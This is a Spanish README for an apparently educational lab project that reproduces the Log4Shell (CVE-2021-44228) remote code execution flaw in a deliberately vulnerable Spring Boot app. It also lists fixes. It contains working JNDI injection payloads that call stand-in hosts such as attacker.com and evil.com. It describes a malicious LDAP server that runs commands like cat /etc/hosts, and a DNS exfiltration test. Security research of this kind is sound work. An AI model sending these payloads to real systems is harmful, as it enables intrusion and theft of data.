
Demostración de CVE-2021-44228 Log4Shell.
Este es un proyecto de demostración para estudiar e investigar la vulnerabilidad de ejecución remota de código en Log4j2 (Log4Shell).
Este proyecto está destinado únicamente a fines de investigación y educación sobre seguridad. ¡No lo utilice en entornos de producción!
Este proyecto utiliza la versión Log4j 2.14.1, que contiene graves vulnerabilidades de seguridad.
./mvnw clean package
./mvnw spring-boot:run
O bien:
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar
Abra el navegador y visite: http://localhost:8080
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"
curl http://localhost:8080/api/health
Log4Shell (CVE-2021-44228) es una vulnerabilidad crítica en Apache Log4j2. Cuando la aplicación registra entradas de usuario que contienen cadenas con formato especial, Log4j2 interpreta expresiones de búsqueda JNDI, y un atacante puede aprovechar esta característica para ejecutar código remoto.
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}
${java:version}
${java:os}
${env:PATH}
Actualice Log4j2 a la versión 2.17.1 o superior:
<properties>
<log4j2.version>2.17.1</log4j2.version>
</properties>
-Dlog4j2.formatMsgNoLookups=true
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 1. Ejecutar el script de automatización
./setup-exploit-server.sh
# 2. Seleccionar la herramienta JNDI-Injection-Exploit
# 3. Introducir el comando a ejecutar (por ejemplo, whoami o cat /etc/hosts)
# 4. En otra terminal, enviar la carga maliciosa
# Iniciar un servidor LDAP malicioso
python3 simple-ldap-server.py "whoami"
# O ejecutar otro comando
python3 simple-ldap-server.py "cat /etc/hosts"
# En otra terminal, enviar la carga maliciosa
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log
# Ejecutar el script de prueba de exfiltración por DNS
./test-dns-exfiltration.sh
# Siga las instrucciones, visite dnslog.cn para obtener un subdominio
# Luego compruebe si se recibe una solicitud de consulta DNS
Este proyecto está bajo la licencia MIT License.
Declaración especial: Este proyecto es solo para fines educativos y de investigación en seguridad. El usuario asume todos los riesgos derivados de su uso.
Realizar pruebas de penetración en sistemas de terceros sin autorización es ilegal. Este proyecto está destinado únicamente a:
Respete las leyes y regulaciones locales y utilice estos conocimientos de manera responsable.